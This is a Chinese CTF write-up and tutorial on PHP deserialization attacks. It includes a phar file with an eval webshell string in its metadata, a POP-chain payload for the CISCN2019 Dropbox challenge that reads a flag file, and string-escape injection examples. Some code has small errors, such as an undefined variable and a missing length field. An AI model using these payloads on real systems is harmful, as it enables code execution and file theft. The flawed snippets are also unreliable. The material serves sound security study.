文章目录
- 简介
- POP链构造和Phar://
- 题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
- 字符串逃逸
简介
php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。
php将数据序列化和反序列化会用到两个函数:
serialize 将对象格式化成有序的字符串。
unserialize 经字符串还原成原来的对象。
序列化的目的是方便数据的传输和储存。
序列化得到的结果:
a:3:{i:0;s:4:"anan";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为anan长度为4
而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
<?php
class test{protected $a;private $b;function __construct(){$this->a = "anan";$this->b="lan";}function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>
输出则会导致不可见字符\x00的丢失
O:4:"test":2:{s:4:" * a";s::"anan";s:7:" test b";s:3:"lan";}
反序列化中常见的魔术方法:
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
POP链构造和Phar://
为什么要用POP链:做题过程中没有那么多的魔术方法可以绕过,审计代码的过程中只有普通的方法,但是不能直接利用,这是需要通过POP链联系起来。
phar://协议就是数据流包装器
<?php
class hello
{var $a = '';
}@unlink('test.phar');$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');$b = new hello();
$b->a = '@eval($_GET[1]);';$phar->setMetadata($b);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
会生成test.phar
题目[CISCN2019 华北赛区 Day1 Web1]Dropbox
打开后是一个登录框,注册登录发现可以上传文件,尝试上传,只能上传图片文件
抓包后修改Content-Type:image/jepg后上传成功
这里可以下载删除,可以利用这个点抓包,尝试读取文件
尝试查看flag,文件不存在,尝试下载源码,发现还是文件不存在,这里是目录跳转所以不存在
尝试跳转
可以下载需要的文件,index.php,login.php,upload.php,download.php,delete.php,class.php
进行代码审计,发现class.php中Filelist类中的__call()魔术方法
__call() //在对象上下文中调用不可访问的方法时触发
index.php中函数没有执行会执行__call()魔术方法
index.php中的Name和Size方法没有执行,去class.php中查看,File类中有close()方法,读取文件,可以进行文件包含。
POP链构造
a = new FileList()(可以通过Phar://完成)
a - >close() => a - >call(close)a - >file = new File (‘/flag’)
a - >file - >close()
这里的close()方法需要在class.php中,有User类,其中__destruct()魔术方法,调用close()方法
构建payload
<?phpclass User {public $db;function __construct(){$this->db = new Filelist();}
}
class FileList {private $files;private $results;private $funcs;function __construct(){$this->files=[new File('/flag.txt')];$this->results=[];$this->funcs=[];}
}class File {public $filename;function __construct(){$this->filename=$name;}
}
$a = new User();$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
生成文件,抓包上传,通过抓包来读取想要的文件
需要注意的是,在download.php中,限制了访问的目录,所以只能在delete.php中利用payload
字符串逃逸
过滤后字符变多
<?php
function change($str){return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";
?>
这里就是把反序列化后的一个x替换成为两个
我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}
这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";}
,从而造成";i:1;s:6:"woaini";}
的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini,最后的;}闭合反序列化全过程导致原来的";i:1;s:7:“I am 11”;}"被舍弃,不影响反序列化过程
过滤后字符变少
<?php
function change($str){return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];
就是把反序列化后的xx替换成为一个x
就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码,这部分是age序列化后的结果
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"
由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:“age”;s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行。
参考PHP反序列化总结
PHP序列化和反序列化